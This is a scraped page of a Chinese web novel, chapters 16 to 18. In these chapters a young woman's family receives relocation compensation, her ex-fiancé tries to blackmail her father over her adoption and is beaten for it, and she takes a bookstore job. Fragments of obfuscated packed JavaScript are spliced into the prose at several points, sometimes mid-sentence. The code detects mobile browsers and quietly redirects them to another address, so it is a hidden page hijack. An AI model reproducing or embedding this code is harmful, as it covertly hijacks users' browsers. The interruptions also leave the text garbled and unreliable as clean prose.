l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16923838|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事确实邢亚辉理亏,他没有否认。但他还是找到了理由反击:“还不是因为你带我看黄片儿?” “难道不是你自己好奇?” “我当初只是随口一问,是你先吊我胃口的,你问我知不知道跟女人睡觉是什么滋味。” “所以呢?” “所以是你教坏了我!” 温枕瑜恼了,不客气地挖苦道:“是吗?是谁路过洗脚房问我里面有没有鸡?” “那还不是因为你说你尝过鸡的味道吗!”邢亚辉气炸了,他表哥十八岁那年就去洗脚房破了处,自己事后得意洋洋,却不允许他好奇,简直双标! 温枕瑜不禁嗤笑:“那是骗你的,吹牛的,你自己信了,我有什么办法?你也不想想,大哥整天盯我盯得死死的,我有机会去尝鸡?他不抓我我跟你姓!” 邢亚辉不说话了,憋闷,屈辱,原来二表哥一早就把他当猴耍了! 真过分! 他蹭的一下站了起来:“你说得对!我就不应该来找你,我应该直接找大表哥!好让他看看你的丑恶嘴脸!” “邢亚辉!你敢!”温枕瑜急了,他大哥要是知道了,一定会不厌其烦的训他,没完没了的训他,上达天听一起训他。 一但他爸妈知道了,那更完蛋。他们教育孩子的本事没有,打骂孩子的技术却是一流。 这样才显得他们是负责任的父母。 狗屁!整天蝇营狗苟,不是对领导溜须拍马,就是对下级颐指气使,领导那儿受的气,都得让下属饱尝恶果。 至于孩子,年轻的时候扔给父母,年纪大了就指望孩子自动自觉听话,不听话就让大儿子代管。 简直就是面目可憎的甩手掌柜!真甩手还好,偏偏大哥愿意充当他们的打手,气死人了! 他只能上前两步,摁住了邢亚辉。 邢亚辉一把将他搡开,他却扭头直接揪住了邢亚辉的衣领。 眼看着表兄弟两个就要打起来了,电话响了。 邢亚辉抢上前去,乖巧地喊了声大哥,吓得温枕瑜扑过去一把夺过话筒,重重拍在了座机上。 他举起拳头,对准了邢亚辉,邢亚辉也是气炸了,就这么狠狠地盯着他,不躲也不让,嘴角冷笑道:“你打!打了我就去省城找大哥,我就不信他会偏袒你!” 温枕瑜服了,彻底服了!他深吸一口气,放下了拳头,坐在沙发上,双手插在头发里,试图冷静下来。 邢亚辉也爬了起来,坐在沙发对面,一副吃准了温枕瑜不敢乱来的得意劲儿。 最终还是温枕瑜妥协了:“听着,你跟冯媛媛不要结婚。” 邢亚辉气炸了:“你以为我想?他爸妈不会放过我的。” 温枕瑜平静道:“闭嘴,听我说。” 邢亚辉不忿地撇撇嘴,视线对上,到底还是妥协了,没有出声。 温枕瑜靠在沙发上,双臂展开,翘着二郎腿,神秘莫测地问道:“想跟姚长安复合吗?” “当然想啊!”邢亚辉激动得坐直了身体。 温枕瑜给他出了个馊主意:“告诉你一个秘密,姚长安是抱养的。你去找姚良远,拿这个秘密威胁他。他会乖乖听话的。” “什么?”邢亚辉傻眼了,“姚长安不是他们亲生女儿?” 温枕瑜摇了摇头,阴恻恻地笑道:“去吧,不谢。” 16. 动迁 邢亚辉非常幸运,刚从温枕瑜家出来,就遇到了车子抛锚的姚良远。 他屁颠屁颠跑过去帮忙,等到车子修好了,自然就被姚良远请上了车,虽然要跟一堆猪肉和蔬菜挤在一起,但也比自己坐车回去的好。 车子开出去半天,他终于组织好了语言,故作为难地说道:“叔,那个……我听说个事儿。” 姚良远开车呢,没有回头,问道:“怎么了?支支吾吾的,不会是冯家那边提了什么过分的要求的吧?” 不是,怎么他就必须跟冯家绑定了?邢亚辉无语了,翻了个白眼:“叔,能不能别提冯家?我说正经事呢!” 姚良远不解:“冯家的怎么不是正经事了?你跟人家姑娘都在一起了,村里人也都知道了,你不给人家一个交代是说不过去的。人家多提点要求,也是应该的,谁让你把持不住,让人揪住小辫子了呢?” 邢亚辉彻底无语了。他怎么忘了,他这位前准岳父,可是道德标兵,最是拥护这些礼法风俗了。 他只能敷衍道:“这我知道,我不是说这个。我是听说了一件关于你家的事情。” “拆迁补偿的事?” “不是,这事谁不知道啊?你家马上就是全镇首富了,那上千亩果园,补偿够吓人的。” “也没那么夸张,今年是小年,要是赶上去年大年,补偿还多。” “那去年房价也没有今年高啊。” “不影响,我家拆迁补偿的大头都在果园上。” “好好好,我说不过你。叔,我问你个要紧的事儿。” “说吧。” “安安不是你跟刘阿姨亲生的?” 话音刚落,只听一声急刹车,车子便猝不及防地停在了路边。 老好人姚良远的脸上,头一次露出了想揍人的狠辣。他握紧方向盘,猛地回头,一向有神的丹凤眼,变得格外犀利冰冷。 后槽牙被咬得咯吱响,怒火中烧的姚良远质问道:“谁告诉你的?” 邢亚辉可从来没有见过他发怒的样子,有点心慌,下意识就交了底:“我表哥。” “哪一个!!!”姚良远的表情异常狰狞,他在竭力克制怒火。 邢亚辉彻底慌了,赶紧坦白从宽:“二表哥,是我二表哥,叫温枕瑜的那个。听我爸说,前几天他掉河里了,你救过他。就是他!” 姚良远明白了,一踩油门,飞了出去,差点被交警追。 还好他快速冷静了下来,他几乎没有犹豫,回到镇上,直接把车停在了邢铁军家店门口。 邢家是卖车的,农用三轮,自行车,摩托车,都有。就是没有汽车。 一来乡镇百姓还买不起,二来,那玩意儿即便是拿货价也够邢铁军喝一壶的,只能卖点更实用的车。 面包车停下,姚良远第一时间下车,哐的一声拽开后面的车门,把邢亚辉揪了出来。 邢亚辉就像是一个瘪三,连反抗的意识都不敢有,就这么被姚良远提溜到了邢铁军面前。 告状,从来都是最简单有效的制裁手段,即便是大人的世界,也不例外。 姚良远直接把事情捅到邢铁军面前,气得邢铁军立马抄起桌子上修车的扳手,要揍死这个蠢东西! 吓得邢亚辉扭头就想跑,偏偏姚良远是个干农活的好手,那力气,岂是他一个象牙塔里的文弱书生可以比的。 但见姚良远一把将他扯回来,死死摁在桌子上,让他撅着一个大腚,又夺了邢铁军手里的扳手,抽出邢铁军的腰带,递给了邢铁军。 当邢亚辉的大腚火辣辣地开了花,他终于领悟到别惹老实人这句话的含金量。 这可真是老虎不发威,被他当成病猫了,这一发威就差点送了他半条命。 鬼哭狼嚎的求饶声里,邢亚辉只剩下对温枕瑜的怨恨。他为什么不长记性?被连着坑了好几次了,还上表哥的当? 他活该!他犯贱!被揍到最后,他已经没了力气哀嚎了。 只是绝望地趴在那里,两条腿抖成了两根面条。 姚良远瞧着差不多了,这才松了手,从车上取了一千块钱,警告道:“小子,今天做叔叔的网开一面,全是看在你爸妈的面子上。下次再敢惹是生非,就是你妈从地里爬出来都没用!” 说罢,他把这一千块钱拍在了桌子上,扬长而去。 走到门口又想起另一个罪魁祸首,赶紧跑回来警告邢铁军:“还有你那个姨外甥,上次我救的那个!警告他,别让我看见他,不然我看见一次打一次!他哥是刑警也没用!” 邢铁军赶紧说好话,做保证,姚良远这才气冲冲地走了。 可怜邢亚辉,被送去卫生所的时候,已经昏死过去了。 接下来的半个月都没能下床,怎一个凄惨了得。 只能把怒火发泄在温枕瑜身上,打了个电话找大表哥告状。 后来大表哥给他回了电话,让他放心,二表哥今后不会再来骚扰他了。还让他代表二表哥找姚家父母道歉。 邢亚辉嘴上答应了,心里却有气,也抹不开面子,便不了了之了。 * 姚良远犹豫了半个月,还是决定跟女儿谈谈这件事。 没想到姚长安反过来宽慰他:“爸,别生气,他不过是眼红咱家有钱,想借着这事拿捏你我,吃回头草而已。没事的,我心里有数,我绝对不会让他得逞的。” “可是,万一他去找你妈妈呢?” “马上不拆迁了吗?回头你跟我妈去县城发展吧,别跟他们啰嗦,离远了他不就没有机会凑过来惹事了?” “时代不同了,离远了也能打电话。” “号码不给他。” “他从别人那里打听到怎么办?” “他应该不敢了,都被打成这个鬼样子了。我听亚煊说,他整个屁股都烂了。” “嗯,我就怕他又被他那个表哥挑唆。” “他要是真那么蠢,谁也救不了他。” “谁救他,死了也拉倒。只是怕你妈妈伤心。” “没事的,真有那么一天的话,你告诉我,我不管在哪里在干什么,一定第一时间赶回妈妈身边,告诉她我爱她,最爱最爱你和她,你们永远是我的爸妈!最亲最亲的爸妈!” 听到女儿这么说,姚良远感动得很,鼻子一酸,落下泪来:“好孩子,你妈没白疼你。” “爸爸也没有白疼我呀。”姚长安抱了抱爸爸的胳膊,“好啦,没事的。只要我们一家三口一条心,别人再怎么挑唆也没用的。” “嗯!”姚良远擦擦眼泪,不想了,趁着还有时间,赶紧去县里物色几个铺面吧,真等拆迁了,就听闺女的,去县里开店。 这一忙,动迁组来了。 先是核实户口,有两户临时迁了两个亲戚家的孩子过来,被排除在外。 接着便是丈量宅基地,确认地上建筑面积,核实装修情况。 最后是核实口粮田面积,搞果园的只有姚良远一家,有单独的专员跟进。 最终结果出来,桥东一共不到三十户人家,拆迁补偿一共一千五百多万,姚良远家占了六百多万,主要是他家那一千多亩果园,都是七八年的大果树,自然补偿多多。 剩下八百多万,平均下来,每家三十万左右。 当然,有多的,也有少的,总之差距不是很大。 躺在医院里的邢亚辉,听到冯媛媛过来跟他汇报情况,悔得肠子都青了。 他趴在病床上,像个死人,半天不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16926108|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说话。 冯媛媛大概猜到了他的想法,哭道:“你是不是后悔了?你是不是想跟我分手?找她复合?” 邢亚辉无奈苦笑,他倒是想呢,人家要他吗?别做梦了。 原本他就单方面撕毁了婚约,让姚良远对他大失所望,后来他又跑去拿姚长安的身世威胁人家,结果被他老子打得半死。 他在姚家人的眼中,已经彻底不是个东西了。就算他妈在世也没用。 算了,不如就这么吊着冯媛媛吧,起码她还能照顾他养伤。 等他好了,也不至于孤单寂寞,还能解决生理需求。 这一点是他唯一的安慰了。 他否认道:“没有的事,别瞎想,我只是天天趴着,憋屈,郁闷。等伤好了就好了。” 冯媛媛松了口气:“对不起,是我想多了。” “没事,是我不好,让你误会了。” “吃西瓜吗?” “不了,吃这个肯定要撒尿,我这屁股一动还是疼。” “那我给你洗葡萄?” “好。”邢亚辉认命了,今后离二表哥远点才是正经,其他的随遇而安好了。 一晃,开学了。 冯媛媛怕他回到大学里就忘了她,特地跟家里求情,允许她跟过去,去大学城打工。 冯家父母不放心她自己过去,商量了一下,由冯母陪着,帮她安顿好再回来。 三个人一起上车,刚坐下,便看到姚长安提着行李箱过来了。 看到有村里长辈在,姚长安客客气气地喊了声阿姨好。 冯母看了眼自己女儿,还是挤了一脸笑:“是安安啊,要帮忙吗?” “不用,谢谢阿姨。”姚长安坐在前面,跟他们隔了两排。她个子高,可以自己把行李箱托举上去。 坐下后,她便拿出一本小说翻看起来。因为太过投入,没有看到一个穿着白衬衫的年轻男人从后面走过来,坐在了她前面那排。 男人坐下后,也掏出一本书,安静地学习起来,书的封面上写着四个字:犯罪心理。 火车启动,摇摇晃晃,当天晚上停靠在彭城的时候,姚长安便下车了。 没办法,从栖梧县到首都,没有直达的车,只能从省会、沪城或者彭城转车。 前两个都要过江,绕远了,要多坐好几个小时的火车,不如从彭城转车。 下车的时候,她不想跟邢亚辉他们啰嗦,特地走在了最后面。 等到车厢里快没人了,她才合上书,起身准备拿行李箱。 前排的男人几乎同一时间站了起来,不过他没有带行李箱,只背了一个帆布包,可能是临时短期出差? 姚长安没有多想,伸手的时候,男人回头看了她一眼,礼貌问道:“需要帮忙吗?” “不用,谢谢。”姚长安微微一笑,自己拿下了行李箱,特地落后一步,让好心人先走。 男人也回了个礼貌的笑容,刚到出站口,便有一个穿着制服的警察向他招手。 他快步向前,很快消失在人海里。 姚长安则去了购票大厅,买了从彭城去北都的票,进站等车去。 第二天天快黑的时候,可算是摇摇晃晃的摇到了首都。 以往这个时候,邢亚辉肯定要送她去学校的,这次他犹豫再三,到底是没好意思开口,就这么走了。 姚长安并不在意这些,打了个出租车,自己回学校。 车子从公交站台路过,正在等公交车的邢亚辉下意识移开了视线,假装没有看见她。 大四的生活兵荒马乱,姚长安面临的最大问题是,毕业后要留在这里吗? 看着一个个出去跑工作的同学,姚长安想了想,决定打个电话回家。 17. 工作 姚长安报考的专业一共只有两个班,每个班只有一个女生。 她在一班,二班的叫赵津。人太少,两人只能跟其他院系的女生合住一个宿舍。 这会儿其他人都出去了,赵津还没走,正捧着一本钱学森弹道的相关书籍,认真琢磨着。 看到姚长安要出去,赵津问了一声:“你也要去找工作?” “嗯。”天凉了,姚长安穿上风衣,笑道,“你要考研?” “嗯,我要是不考啊,我爸妈非得杀了我不可。”赵津无奈地笑笑,没办法,她爸在航天三院33所,专门搞自动化控制设备的研究,她妈在621所搞航空材料研究,两个航空航天领域的大佬,逼着她不得不继续深耕自己的专业。 她姐当初不肯学,直接被爸妈单方面切断了经济来源,上大学的时候就要自己苦哈哈地勤工俭学了,好在她姐姐考的是中文系,给报社写写文章也能糊口,如今早就顺利毕业了,但是跟家里却没了来往。 她不想走姐姐的老路,加上她自己本身没有特别感兴趣的专业,便任由爸妈安排,替她报考了这个学校这个专业。 她推了推眼镜,问道:“你不考吗?其实不考也能进研究所,找熟人打个招呼就行了。” 当然,这个打招呼也是要具体情况具体分析的,比如特别熟的至亲,那只要动动嘴皮子就行了,如果不是直系亲属,而是什么叔伯、姑舅、姨表、师生、同事之类的关系,那少不得要辛苦一下钱包了。 赵津属于前者,只要自己愿意学,未来必然畅通无阻。 这是不少同学羡慕的出身,姚长安却并不羡慕,这种被长辈裹挟的命运,未必是幸福。 再说了,原主好歹在这个专业学了三年,姚长安自己却并没有这样的积累,现在她连毕业都要抓耳挠腮地想办法,更不用说进入对口专业的研究所了。 到时候转着圈丢人,还不如趁早抽身,于是她笑着摇了摇头:“不了,我更喜欢自由一点的工作。” “自由?这世上就没有什么工作是自由的。”赵津并不认可她的想法,尤其是姚长安当初进班的时候可是第一名,只是后来不知道怎么,只能混个中上水准的成绩,赵津很是替她惋惜,想要好好劝劝。 姚长安却笑:“怎么没有?自己开个店就挺自由啊。” “开店亏了怎么办?”赵津合上书本,准备拉这位室友一把,虽然两个人不同班,却都是各自班上唯一的女生独苗,那种孤独和寂寞,她懂的。她走过来,坐在姚长安床上,“要不我跟我爸妈说一声?你的成绩还可以的,虽然不是特别拔尖,但也不差啊,只要你考个研究生,想进研究所还是很简单的。实在不行,沈飞哈飞西飞自己的设计部门也行啊。” “真不用,我不喜欢学这个,谢谢啊津津。你真好。”姚长安俯身坐下,拍拍赵津的肩膀,“快去学习吧,别耽误你正事。” “可是,能考上这个专业真的很不容易,你就这么放弃,太可惜了。”赵津摁住她的手,眼中满是惋惜与遗憾。 姚长安笑道:“不可惜啊,起码我知道了自己不喜欢这个,与其让我占着茅坑不拉屎,不如让真正热爱航空航天事业的学子发光发热,你说呢?” “可是……”赵津还是不想放弃。 姚长安只好拿出杀手锏:“不用劝啦,我家拆迁了,开店亏了也没事的,爸妈不会骂我的。” “啊……”赵津愣怔了半天,最终只得推了推眼镜,“好吧,可以理解了,我表妹家里也是拆迁了,赔偿款几百万呢,之后她连高中都不想上了,还好姨妈比较严厉,给她胖揍一顿,哭着把大学考了。” “你放心,我不会半途而废的,毕业证我还是会想办法拿到的,到时候遇到不会的,你教我好不好?”姚长安趁机抓住一根救命稻草,免得到时候两眼一摸黑。 “好啊,没问题啊。”赵津笑着靠在她肩头,“太意外了,我还以为你会跟我一样呢,哎。太可惜了,这条路上又少了一个女同志。” “不可惜啊,说不定将来我可以当大老板,以后你在所里受了气,你就出来单干,我给你投资啊。”姚长安倒不是画大饼,毕竟她们家拆迁就跟航空领域相关嘛。 可见国家是鼓励私企参与研究和竞争的。 赵津却觉得她在开玩笑,当个安慰的话听听也就算了。 姚长安又安慰了她几句,这才离开了宿舍,去楼下找宿管阿姨打电话。 本来来之前爸妈想给她买大哥大的,她没要。一来她还没有毕业,要是她现在就买这个,势必跟同学们拉开了差距,相处起来容易有隔阂;二来她没到非买不可的地步呢,真有事找爸妈的话,宿舍楼下就有座机,何必花大钱办小事呢,犯不着。 只是这会儿排队的人有点多,她便坐在旁边,拿起报刊架上的杂志,耐心等着。 半个小时后,终于到她了,她给家里去了个电话,没人接,只好打到了店里。 正好她爸妈在饭店吃现成的,便跑到柜台那边拿起了座机。 “喂,爸,我妈在吗?” “在呢,我叫她一起过来听电话。” “好。” “乖宝,吃了没有啊?” “吃了妈,同学们都出去找工作了,我准备回省里发展,跟你们说一声。” “是要去614所吗?还是去省城搞空降设备?” 姚长安无奈:“都不是,我不想干这个。我考虑过很久了,我学这个不开心,但是我很喜欢看书,各种各样的书。我想找个书店上班,干一两年之后熟悉了流程,到时候自己开个书店。” “啊……”刘克信有些意外,她跟姚良远对视一眼,为难道,“你大舅说这个专业很好的啊,一辈子的铁饭碗。” 姚长安虽然理解长辈的苦心,可是她真的不喜欢啊,只能据理力争:“妈,就算是金饭碗银饭碗,我不喜欢也不想拿它吃饭啊,我就喜欢找片竹林,砍棵竹子,削个竹碗,我吃得香。” 刘克信无奈地看着自己男人,默默叹了口气,姚良远想了想,劝道:“要不这样,乖宝,你先找个书店做一年试试,要是到时候做不出名堂来,你就去考研好不好?还考这个专业。你大舅的小舅子是603的工程师,到时候你想进去还不是一句话的事儿?” 原来还有这层关系啊,怪不得大舅一门心思怂恿原主报这个专业。 姚长安也不想让爸妈太伤心,那就各自妥协一步吧,于是她争取道:“一年太短了,你们搞果园也不是一年就赚钱的啊。给我三年好不好?三年我做不出名堂来的话,我就去考研,听大舅的安排。” 三年?两口子交换了一个眼神,好吧,也不能太为难孩子,要是到时候她能做出成绩来, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16931796|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 大舅哥那边也好有个交代了。 两口子最终答应了。 晚上的时候,趁着刘克信洗澡,姚良远单独打了个电话去宿舍,楼上阿姨上来叫姚长安,姚长安腾腾腾飞奔下楼,拿起话筒。 “乖宝,你跟爸爸说实话,你不想留在首都,是不是因为邢亚辉和那个温枕瑜?” “有一小部分原因吧。” “我也是前几天刚知道,那个温枕瑜居然也在首都上学。” “嗯,他学土木的,在理工大学。” “他会留在首都发展吧?” “不知道,应该会吧。” 姚长安其实是知道的,原著里面,温枕瑜就是在首都注册的公司,只不过首都这边的地不好拿,他便曲线救国,先从栖梧县开始,慢慢发展到省里的大城市,然后进军省城,最后再绕回首都。 可以说,姚长安就算回到省内,也需要小心翼翼才能躲开这个瘟神。 不过,这不重要,只要爸妈知道温枕瑜刚开始会在首都发展,就不会那么抵触她回去了。 姚良远果然没再说什么,问道:“你确定要去书店上班?” “确定,目前我想不到更适合我的工作了。”姚长安宽慰道,“爸,你别担心,我只是暂时过度一下,说不定我做几个月就不爱做了,还是觉得考研好呢。” “嗯,爸爸其实不太想干预你的工作,只是你大舅那边,多少也顾及一下他的感受。既然你答应了做不好就考研,他也就不会说什么了。” “好,谢谢爸爸。”挂断电话,姚长安很是松了口气。 既然去书店上班,她就不用那么着急出去找单位实习了,趁着还有时间,先把毕业论文搞一搞吧。 这天开始,她便向赵津请教一番,去图书馆照着目录借了几本书回来,废寝忘食,从无到有,开始搞论文。 第一场大雪下来的时候,她终于有点眉目了,不禁松了口气,天知道这几个月她怎么过来的,真是累死了。 元旦放假,她接到了一通电话,穆承恩打来的,邀请她去逛天坛。 她欣然赴约,中午吃饭的时候,两人选了个街头面馆,吃饭间穆承恩问道:“你们这届开始不包分配了,工作的事情有着落了吗?” “不急,我想找个书店上班,到时候随便找找看吧,应该会有的。”不像本专业,进的都是保密单位,难度大,自然要提前安排。 穆承恩笑道:“书店?那你不早说。”他去柜台借了个纸笔,过来坐下后写了个地址给姚长安,“拿着,我姐开的,在你们省城。” “你家不是壶州的吗?”姚长安很是好奇,还以为他姐姐就算开店,也会在自己省里开呢。 穆承恩笑道:“我姐在你们省上的大学,婆家也在那里。回壶州就得抛夫弃子了。” 原来是这样,姚长安笑着接过纸条:“行,那你跟你姐姐先说一声,晚点我再给她打电话。” 就这么,姚长安的工作定下来了,她高高兴兴地准备期末考试去了,费劲九牛二虎之力,可算是维持住了原主中上的水平。 年底放假回去,她先回镇上见了爸妈,休息一天再去省里找穆承恩的姐姐。 坐下吃饭的时候,爸妈拿出了两个红本本和两把钥匙摆在了她的座位上。 拿起来一看,姚长安惊讶得说不出话来。 18. 寻亲 姚长安手里的,一本是房本,一本是存折。 房子是省城的,距离她即将上班的书店不远。 因为不确定她到底能干多久,所以没买太大,是一套六十多平的两室一厅,黄金地段,房价高达每平3600,是县城房价的三倍。 至于存折上,则足足给了她三百万。 而她面前的两把钥匙,一把是新房的大门钥匙,一把是汽车钥匙。汽车买的是桑塔纳,虽然是国产的,但她见她同学开过,现在买的话也要十几万呢。 也就说,她还没有上班呢,爸妈先给她置办了三十几万的房车,还给了她这么多存款? 她的眼眶刷的一下红了。 这要是按照原来的剧情,此时此刻的她,父母双亡,拆迁补偿因为少了两个人,只拿到了六百万不到,其中五百万被邢亚辉骗去投资他朋友的什么楼盘,结果朋友干到一半,因为赌博欠下巨额贷款,被要债的天天扛着大刀堵门,最终只得紧急转让手里的楼盘。 白菜价,比白送强那么一点点,这楼盘自然是被温枕瑜接手了。就连邢亚辉所谓的朋友,也是温枕瑜牵线搭桥的。 四舍五入,等于这笔钱贡献给了温枕瑜,原主自己连个响都没听见。 至于那剩下的几十万,很快也被邢亚辉找借口骗去了,说是要去香港赌马,赚一笔大的东山再起。 然后就没有然后了。 其实那几十万,被邢亚辉拿去孝敬温枕瑜了,毕竟温枕瑜答应接手楼盘,看起来像是个活菩萨呢,蠢笨如猪的邢亚辉,感觉自己欠了温枕瑜老大一个人情债,只好骗原主的钱,去填他的表哥的恩情。 后来楼盘建好了,温枕瑜给了邢亚辉一个楼盘经理的职位,就算是给他分红了,连套房子都不舍得给。 可笑那邢亚辉还美滋滋的,夸他表哥好呢。 再看现在,姚长安不但父母双全,还保住了父母心血换来的拆迁款,真是幸福得很。 她忍不住转身,扎进妈妈怀里撒个娇,抹了妈妈一脖子眼泪之后,再挽着爸爸的胳膊腻歪腻歪。 “我太幸福啦!我要甜化啦!”连着嚷嚷了好几声,姚长安才听话把东西收好,坐下吃饭。 第二天是爸爸陪她去的省城,年底了,饭店忙,小舅妈那边缺人手,妈妈走不开。 父女俩坐的火车,路上姚长安问了一声:“爸,大伯那边有没有怀疑什么?” 毕竟半年过去了,部队那边也没人来认亲呢。 姚良远笑笑:“怀疑了啊,不过没事,我现在也会骗人了,我说我接到电话了,首长太忙,要等明年休息的时候再说。” “大伯信了?” “不信又怎么样?他又没有渠道证实。” 那倒也是,反正夏家要他们抹掉欠债,他们也把欠条烧了。虽然烧的是假的,可夏家不知道啊。 真欠条在手里握着,总归是一个保险,如果哪天夏家爷爷奶奶走了,就不用再顾忌什么了,只要夏家再闹,那就对薄公堂。 父女俩上午上的车,中午就到了,打了个出租,在新道口下车后,右手边就是一栋气派的大型购物中心。 姚良远解释道:“这是金鹏购物中心,今年刚建成营业的,书店就在里面。我跟你妈妈已经来探过店了,书店的规模虽然不是很大,但是很上档次,里面还卖咖啡和甜品,走的是高端路线。你要是喜欢,闲暇的时候也可以学学怎么做甜品。” 原来爸妈这么关心她,得知她要来这里上班,还亲自跑过来实地考察过。 姚长安很是羡慕原主,却也心疼原主,这么好的爸妈,终究是没能陪原主一起成长到最后。 现在是她站在这个位置,她享受了原主应有的父爱母爱,也该承担原主应尽的义务。 她挽着爸爸的胳膊,感慨道:“好气派啊爸爸,哪天我也有本事开个这样的商场就好了,一定可以给你和妈妈长脸吧?” “那当然了,这个志向不错,好好努力,我和妈妈等着跟你过好日子!”姚良远笑着往里走,想想又补充道,“不过也不要给自己太大压力,先开个小书店也不错嘛。” “对,万事开头难,一口吃不了大胖子,我先做好店员再说。”姚长安笑着跟上,很快便来到了书店门口。 “新潮书局。这名字气派吧?我跟你妈妈都很喜欢。”姚良远笑着停下,“先看一眼,等会买了东西,先去你朋友姐姐家里拜访一下,反正她现在也不在里头。” “好。”姚长安记住地方了,父女俩去楼上买了两盒保健品,两套儿童玩具,女士香水和包包,以及紫砂壶茶具一套。 姚长安有点诧异:“要买这么多东西吗?也不是什么千金难买的工作啊。” “傻瓜,你在这里人生地不熟的,爸妈怎么放心呢,跟人家搞好关系,真有事了人家也能关照一二。”姚良远是做买卖的,有自己的处世之道。 姚长安想想也对,便提着两个小点的购物袋,跟着去了女装店。 她很好奇:“爸,来这里做什么?我们又不知道人家的尺码。” “当然是给你和妈妈买的啦。等下爸爸也要换一身体面的西装,免得被人家看轻了。”姚良远想着难得过来,顺便把过年的衣服鞋子买了。 到最后,父女俩大包小包的,都快提不下了,还是服装店的售货员帮忙提着几个,这才勉强下了楼。 打了个出租车,先去了附近买的新房子。 姚长安哭笑不得:“爸,从起步到停车,一共三分钟。” “没办法,东西太多了。”姚良远不差这点钱,他是不忍心看女儿提那么多东西,手指头都勒红了。 这次买的是电梯房,一梯三户,一共九层,买在了顶楼,主卧朝南,次卧向北,户型比不上镇上的好,但也算南北通透。 进去换了身行头,父女俩这才提上送人的东西,下楼打车去了。 穆承恩的姐姐叫穆从意,今年二十八,生了两个孩子,大儿子四岁,二女儿还不到半岁,超生的,罚了六万八。 这钱是她公婆掏的,超生不是为了别的,只是担心一个孩子太寂寞。 看到姚长安父女过来,一大家子都很热情,硬要留他们在家里吃了晚饭再走。 盛情难却,父女俩只好答应了。趁着时候还早,穆从意便带他们去书店转了一圈,认了认人。 前台收银员明年要回老家结婚,不来了,所以姚长安顶替的是收银的位置。 店里还有一个图书专员,负责根据市场行情,选择采购的书目,因为书店规模不是很大,所以采购的活儿交给了店长穆从意,没有安排专人负责;此外还有一个咖啡师,兼甜品师。 至于陈列员,则由图书专员兼任。 也就是说,整个书店,常驻员工就三个人。 姚长安应该算是最轻松的一个,毕竟另外两个都要身兼双职。 不过真到了忙的时候,收银员肯定也要帮忙理货陈列的。 总之,这是她自己选择的路,就算辛苦也要走走才知道。 从书店出来,穆从意带着她去了楼上,也送了一瓶香水给她。 姚长安笑着问道:“姐姐只开书店吗?家里还有别的产业吧?” “嗯,我爱人跑建材的,平时我会帮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16936308|192682||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 他去建材市场看店。”穆从意笑着打量了一眼姚长安,有话想问,但没好意思说出口。 等姚长安父女吃过晚饭走了,穆从意才给弟弟打了个电话。 “承恩,这个妹妹跟你长得也太像了!跟我倒是不怎么像。” “那当然了,你像咱爸。” “她真的不是咱家小妹吗?” “真不是啊姐,她被抱回去的时候才一个月。” “我总觉得事情没这么简单呢?你说,会不会我们两家的长辈有点渊源啊?你也知道,建国之前那段时间,好多人家为了逃命,骨肉分离的事情可不在少数。” “我也想过啊,可是爷爷奶奶姥姥姥爷都不在了,找谁问去?总不能是咱爸妈有什么流落在外的兄弟姐妹吧?” “别急,马上过年了,等年初二回门的时候,我去问问舅舅姨妈他们。你跟这个妹妹都像咱妈,可能问题就出在姥姥姥爷那边。” “也行,可能大舅和大姨能知道一些。对了姐,你想想办法,让长安妹妹跟你一起拍张照片。” “我知道,到时候直接拿给长辈们看。” “嗯,好,姐我不说了,我要去查岗了,新来的新兵蛋子有两个不听话,站岗的时候总溜号。” “好,天冷了,你穿厚点啊。” “放心吧姐,我有数。” 挂断电话,穆从意不由得庆幸,幸亏吃饭之前问了一声,记下了姚长安新房的地址。 她赶紧叫上自己男人,去看看这对父女走了没有。 * 大雪纷飞。 首都图书馆门口,邢亚辉冻得浑身发抖,忍不住来回跺脚,埋怨道:“哥,你到底带我来见谁啊?” 温枕瑜笑而不语,靠在门口树下,凹了个很酷的造型。 邢亚辉急了:“笑什么?你说话啊!” “不耐烦就走。”温枕瑜翻了个白眼,懒得跟他啰嗦。 邢亚辉无语了,摸了摸兜里的一千块钱,还是没骨气地陪表哥耗着,没办法,表哥给钱了。 又等了半个小时左右,终于看到一个年轻女人抱着课本从楼里出来了。 邢亚辉愣住了,长得好像姚长安! 他下意识回头,看向了温枕瑜,温枕瑜依旧笑而不语,等到这个女人走远了,他才嘚瑟地挑了挑眉毛:“猜到她是谁了吗?” “不知道。”邢亚辉摇了摇头,“你别卖关子了,说吧,难不成她是姚长安的哪个姐姐?” 